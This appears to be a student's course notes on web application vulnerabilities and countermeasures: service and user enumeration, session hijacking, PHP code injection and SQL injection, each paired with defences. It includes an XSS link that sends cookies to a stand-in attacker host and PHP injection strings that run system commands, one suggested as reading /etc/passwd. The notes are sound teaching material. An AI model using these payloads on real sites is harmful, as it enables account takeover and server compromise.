6. Web Applications Vulnerabilities and Countermeasures - Part 2¶
Introduction 1 2¶
- Human error is a major point of weakness; it is the cause of 90% of cyber-attacks.
- TSP:
- Technical Security Provider.
- It is a company that provides security services to other companies (clients).
- Responsibilities:
- Provide security services to clients.
- Provide security training, education and guidance to clients users.
- Any robust security training program must cover 1:
- Phishing and social engineering.
- Access, passwords and connection.
- Device security.
- Physical security.
- Data compromise is more likely to come from an employee leaving a laptop on the train than from a malicious criminal hack 2.
- Computers don’t create crimes. It is the people who are using the computers that commit the crimes. And people in the organizations can be—and often are—complicit. 2
User Enumeration 3 4 5 6¶
- Enumeration is used to gather the following 3:
- Usernames, group names
- HostNames
- Network shares and services
- IP tables and routing tables
- Service settings and audit configurations
- Application and banners
- SNMP and DNS details
- Enumeration classification 3:
- NetBios enumeration:
- NetBIOS stands for Network Basic Input Output System.
- NetBios is an API for clients to access LAN resources; developed by IBM.
- NetBios naming: 16 ASCII characters that identify network devices over TCP/IP; 15 chars for device name, and 1 char for service type.
- NetBios port is TCP 139.
- Printers and file servers are examples of NetBios services.
- Attacker can:
- Read and write to a remote machine.
- DOS attack on the remote machine.
- Enumerate password policies on the remote machine.
- Prevention:
- Disable file and printer sharing on Windows.
- Remove unnecessary services.
- SNMP enumeration:
- SNMP stands for Simple Network Management Protocol.
- SNMP is an application-layer protocol that runs on UDP; it is used to manage network devices that run on the IP layer (routers, switches, printers, etc.).
- SNMP ports are UDP 161 and 162.
- Attackers can:
- Gather information about network devices such as routers, switches, printers, etc.
- ARP (Address Resolution Protocol) table, routing tables, and interface details.
- Device information.
- Traffic statistics.
- Prevention:
- Remove SNMP agents that are not needed.
- Use SNMPv3, which uses encryption.
- Use Firewalls.
- Implement IPSec.
- Block TCP/UDP ports 161.
- LDAP enumeration:
- LDAP stands for Lightweight Directory Access Protocol.
- LDAP is an application protocol for accessing and maintaining distributed directory services like Active Directory, or OpenLDAP.
- LDAP uses TCP and Basic Encoding Rules (BER).
- LDAP port is TCP 389.
- Attackers can gather sensitive information such as usernames, addresses, contact details, department details and so on.
- Prevention:
- Use SSL.
- Use Kerberos to restrict access to known users.
- Enable account lockout policies to prevent brute force attacks.
- NTP enumeration:
- NTP stands for Network Time Protocol.
- NTP is used to synchronize clocks of networked computers; it is based on client-server architecture, where the agent queries the NTP server for time synchronization.
- port is UDP 123.
- Attackers can gather the list of hosts connected to the NTP server, their IP addresses, and the operating system they are running.
- Prevention:
- Use NTPSec.
- Filter NTP traffic with specific IPTables.
- Enable logging for messages and events.
- SMTP enumeration:
- SMTP stands for Simple Mail Transfer Protocol.
- STMP is used to send and receive emails; it is based on client-server architecture.
- SMTP port is TCP 25.
- Prevention:
- Ignore email responses from unknown users.
- Disable open relay functionality.
- Prune sensitive information from email headers, like the sender’s IP address.
- DNS enumeration:
- DNS stands for Domain Name System.
- DNS is used to resolve domain names to IP addresses, and vice versa.
- DNS’s port is UDP/TCP 53.
- Prevention:
- Configure DNS to prevent zone transfers to unknown hosts.
- Ensure DNS zone transfers do not contain HINFO records.
- Windows enumeration:
- Enumerating what services, open files, processes, loggers, events, and users.
- Attackers can execute or kill processes on the remote machine.
- Unix/Linux enumeration:
- Same as Windows enumeration.
- NetBios enumeration:
- User enumeration 4:
- Login pages:
- Login pages should return the same ambiguous error message for both invalid usernames or passwords.
- Returning a message that says “invalid username” or “invalid password” is a bad practice as it allows attackers to enumerate valid usernames, that is, detect if a username exists in the system.
- Do not encode usernames or login error codes in the URL.
- HTTP response codes should be the same for both invalid usernames or passwords, in general; it should always be 200 OK; as 404 Not Found or 401 Unauthorized can be used to enumerate usernames.
- If detecting incorrect usernames takes a different time than detecting incorrect passwords, then an attacker may be able to guess what’s wrong even if the error message is the same; thus, the server should always take the same amount of time to respond to both invalid usernames and passwords. Consider using sleep function if necessary 5.
- The entire HTTP response (including headers and cookies) should be the same for both invalid usernames or passwords 5.
- Implement exponential backoff to prevent brute force attacks 5.
- Reset password pages:
- Reset password pages should not tell if the username exists or not; it should just say that the password reset link has been sent to the email address.
- Send an email in both cases, whether the username exists or not; if the username does not exist, send a signup email, or send a reset password email 5.
- Signup Pages 5:
- Avoid telling the user if the username is already taken or not.
- Do not use sequential IDs for users.
- If the user tries to sign up again, send a reset password email.
- Use CAPTCHA to prevent automated attacks.
- Login pages:
Cookies and Session Hijacking 7 8 9¶
- The term “hijacking” is just another example of a “man-in-the-middle” attack attempting to gain full access to a user’s online account.
- Session Hijacking 8:
- It is about an attacker stealing a valid session ID and using it to impersonate a legitimate user.
- The attacker sniffs or predicts the session ID.
- Techniques:
- Blind hijacking.
- Man-in-the-middle.
- Denial-of-service.
- The first step is to understand how the connection is established and the characteristics of the session.
- 31% of E-commerce applications are vulnerable to session hijacking 9.
- Session hijacking = Cookie hijacking 9.
- Common methods of session hijacking 9:
- Session Fixation:
- It is a vulnerability in the system that allows a user to get/set the session ID of another user.
- Usually when a website accepts session IDs from a URL parameter; the attacker sends a phishing email containing a link to a website that sets a specific session ID; thus the attacker knows the session ID of the victim.
- The attacker then uses the session ID that they set to access the victim’s account.
- Session Sniffing:
- The attacker uses a sniffer to capture the session ID of a user, by monitoring the network traffic between the user and the server.
- Using SSL/TLS can prevent this attack, as it encrypts the traffic between the user and the server.
- Public Wi-Fi networks are vulnerable to this attack, as the attacker can join the network and sniff the traffic; or create a public HotSpot and monitor users’ traffic.
- Cross-Site Scripting XSS:
- The attacker injects malicious code into a website, and when a user visits the website, the malicious code is executed in the user’s browser which sends the session ID to the attacker.
- An attacker may send a phishing email to a user containing a link like:
http://www.yourbankswebsite.com/search?<script>location.href=’http://www.evilattacker.com/hijacker.php?cookie=’+document.cookie;</script>
- The above link will add and execute a script that sends all cookies to the attacker.
- Malware:
- The attacker designs malware that is installed on the victim’s machine, it monitors traffic and sends the session ID to the attacker.
- It is an automated session sniffing attack.
- Brute Force:
- The attacker tries to guess the session ID by trying different values.
- Either by trying common session ID generation techniques (combining the user’s IP address, user agent, etc.), or by incrementing the session ID (if it is a number).
- The attacker may keep using old session IDs, as some websites do not invalidate old session IDs or the same session ID may be generated in the future.
- Session Fixation:
- Prevention (mitigation) of session hijacking 9:
- Use HTTPS on the entire website.
- Use the Secure and HttpOnly flags for cookies.
- Use Long and complex session IDs.
- Regenerate session IDs after a successful login.
- Perform additional checks on the server side to verify the user’s identity:
- Is the same IP address used in previous requests?
- But IP addresses can be spoofed, and also it may create problems for users who use VPNs.
- Change the cookie value after a certain amount of time (or number of requests).
- Don’t accept session IDs from URL parameters or POST requests.
- Only accept session IDs generated by the server.
- Timeout inactive sessions.
- Check the referrer header, and logout if the referrer is an external website.
Crawling, Scraping and Prefetching 10 11 12 13¶
- Scraping vs Crawling 10:
- Web crawling:
- A crawler is also known as a spider or a bot, it is a program that browses the web in an automated manner.
- It looks for data and more links to crawl.
- Web scraping:
- It is the process of extracting data from a website.
- It is done by a web scraper, which is a program that extracts data from a website.
- Web scraping is done by a crawler, but not all crawlers are web scrapers.
- Usually, a crawler retrieves the HTML content and passes it to a scraper to extract the data from it.
- Web crawling:
- Prefetching 13:
- Prefetching is the loading of a resource before it is required to decrease the time waiting for that resource.
- Prefetching usually uses Cache, and it can help in a web browser prefetching pages or CPU prefetching instructions.
PHP Specific Issues 14 15 16 17 18 19¶
- Injecting PHP code using URL parameters, if this parameter is then rendered in the page, then we can pass
?param=<?php phpInfo(); ?>
and it will be executed 14. - To execute commands on the echoed output 15:
?param=;system("whoami");
.WhoAmi
can be replaced with any command, likecat /etc/password
.
Truncation and Trimming Attacks and SQL Injection 20 21 22 23¶
- A successful SQL injection exploit can 22:
- Read sensitive data from the database.
- Modify database data (Insert/Update/Delete).
- Execute administration operations on the database (such as shutdown DBMS).
- Recover the content of a given file present on the DBMS file system.
- Issue commands to the operating system.
- SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces 22.
- Types of SQL injection attacks 23:
- In-band SQLi: uses database errors or UNION queries to extract the information.
- Blind SQLi: the attacker can not see the result of the query, but can infer the result from other factors (such as response time).
- Out-of-band SQLi.
References¶
-
Ryerse, J. (2020, September 7). The basics of cybersecurity training for end users. ConnectWise. https://www.connectwise.com/blog/cybersecurity/the-basics-of-cybersecurity-training-for-end-users ↩↩
-
Kelly, R. (2017, March 3). Almost 90% of cyber-attacks are caused by human error or behavior. ChiefExecutive. https://chiefexecutive.net/almost-90-cyber-attacks-caused-human-error-behavior/ ↩↩↩
-
Chakravartula, R. (2021, January 22). What is enumeration? [updated 2021]. Infosec. https://resources.infosecinstitute.com/topic/what-is-enumeration/ ↩↩↩
-
Lara, H. (2018, March 10). User enumeration vulnerability [Video]. YouTube. https://www.youtube.com/watch?v=IahnJVOhak4 ↩↩
-
Hacksplaining. (2018, September 30). What is user enumeration? [Video]. YouTube. https://www.youtube.com/watch?v=fP0VVzPI4jQ ↩↩↩↩↩↩
-
Laverty, P. (2017, June 15). What Is User Enumeration? RAPID1. https://www.rapid7.com/blog/post/2017/06/15/about-user-enumeration/ ↩
-
Computerphile. (2016, June 1). Cookie stealing – computerphile [Video]. YouTube. https://www.youtube.com/watch?v=T1QEs3mdJoc ↩
-
Mr Code. (2021, January 10). What is session hijacking a short introduction [Video]. YouTube. https://www.youtube.com/watch?v=rqDuDSPhiCs&list=PL6jT6oPokSnIhwaEwRATkmLkVl_TX9xgF ↩↩
-
Vojtko, M. (2020, November 16). The ultimate guide to session hijacking aka cookie hijacking. HashedOut. https://www.thesslstore.com/blog/the-ultimate-guide-to-session-hijacking-aka-cookie-hijacking/ ↩↩↩↩↩
-
Oxylabs. (2019, October 10). Web crawling vs. web scraping | oxylabs [Video]. YouTube. https://www.youtube.com/watch?v=cwZF87qIF7c ↩↩
-
Grobman, S. (2015, August 8). Spiderbot, spiderbot, does whatever a hacker thoughts. DARKReading, Informa PLC. https://www.darkreading.com/partner-perspectives/intel/spiderbot-spiderbot-does-whatever-a-hacker-thought/a/d-id/1321850 ↩
-
Traversy Media. (2020, January 14). Intro to web crawlers and scraping with Scrapy [Video]. YouTube. https://www.youtube.com/watch?v=ALizgnSFTwQ ↩
-
Prefetching. (2020, June 30). Techopedia. https://www.techopedia.com/definition/32421/prefetching ↩↩
-
BUG XS. (2020, April 12). PHP code injection | step-by-step guide | bug bounty [Video]. YouTube. https://www.youtube.com/watch?v=UlROTF-OspY ↩↩
-
HackerSploit. (2019, May 13). Bug bounty hunting - PHP code injection [Video]. YouTube. https://www.youtube.com/watch?v=GE2HyC7Gwrs ↩↩
-
The 2018 guide to building secure PHP software. (2017, December 12). Paragon initiative enterprises blog. https://paragonie.com/blog/2017/12/2018-guide-building-secure-php-software ↩
-
OWASP. (n.d.). Anatomy of a WebShell - d0n quix0te [Video]. YouTube. https://www.youtube.com/watch?v=tVKucIWH0w0 ↩
-
OWASP Php. (n.d.). What does PHP security mean? https://owasp.org/www-project-php/migrated_content ↩
-
Web application security guide/PHP-specific issues. (n.d.). Wikibooks. Retrieved June 15, 2021 from https://en.wikibooks.org/wiki/Web_Application_Security_Guide/PHP-specific_issues ↩
-
Edureka! (2019, October 3). What is SQL injection? | sql injection tutorial | cybersecurity training | edureka [Video]. YouTube. https://www.youtube.com/watch?v=3Axp3VDnf0I ↩
-
Henry, D. (2020, June 16). SQL injection attack explained. [2020] with SQL injection examples [Video]. YouTube. https://www.youtube.com/watch?v=VZfTmu7tn34 ↩
-
Kingthorin. (n.d.) SQL Injection. OWASP. Retrieved January 10 2022 from https://owasp.org/www-community/attacks/SQL_Injection ↩↩↩
-
What is SQL injection (SQLi) and how to prevent it? (n.d.). Acunetix by Invicti. https://www.acunetix.com/websitesecurity/sql-injection/ ↩↩